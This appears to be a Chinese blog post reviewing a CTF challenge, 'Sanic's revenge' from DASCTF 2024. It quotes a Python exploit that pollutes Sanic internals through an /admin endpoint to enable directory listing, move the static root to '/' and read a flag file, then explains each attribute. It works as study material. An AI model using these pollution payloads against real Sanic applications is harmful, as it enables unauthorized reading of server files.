这周把上周的dasctf复现一二。

DASCTF2024 暑期挑战赛

Sanic’s revenge

看了一下官方wp(https://www.cnblogs.com/gxngxngxn/p/18205235),一脸糊,什么叫污染file_or_directory到根目录

翻到了exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

#开启列目录
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}

#将目录设置在根目录下
data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}

#读取flag文件
data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"}

cookie={"session":"your_session"}

response = requests.post(url='http://127.0.0.1:8000/admin', json=data,cookies=cookie)

print(response.text)

再次看看原码

1
2
app = Sanic(__name__)
app.static("/static/", "./static/")

创建一个Sanic应用。传递__name__作为应用名称。在这个上下文中,__name__是一个特殊变量,它表示当前模块的名称。如果模块是直接执行的,则__name__的值为'__main__'

配置静态文件路由,将URL路径/static映射到本地文件夹./static

async def用于定义异步视图处理函数。

def create_log_dir(suffix: int) -> str:

create_log_dir:这是我们定义的函数名。

suffix: int:这是函数的参数,suffix 是一个整数,用于在日志目录名称中添加唯一的后缀。

-> str:这是函数的返回类型注解,表示函数将返回一个字符串(即创建的目录的路径)。

方法

  1. 通过xxx查看注册的路由。源码

……

其他

__class__:这是 Python 中任何对象的一个特殊属性,它指向对象的类。

__init__:这是 Python 类中的初始化方法。当类实例化时,会调用这个方法。

__globals__:这是 Python 中的一个属性,返回当前作用域的全局变量字典。在类方法中,它可以用于访问和修改全局变量。

app.router.name_index:这是 app 对象的一个属性,通常与 Sanic 应用的路由系统相关。name_index 存储路由信息的字典。

__mp_main__:这是在多进程环境下,__main__ 模块的一个特殊属性。它通常在某些复杂的对象序列化或操作中出现。

static.handler.keywords.directory_handler.directory_view:是一个相对较复杂的属性路径,涉及到静态文件处理和目录视图。directory_handler 可能是一个处理目录的对象,directory_view 则可能与目录视图相关。调试。

__file__:这是一个特殊属性,指向当前模块的文件路径。它用于获取当前执行的脚本文件的路径。

EasyJob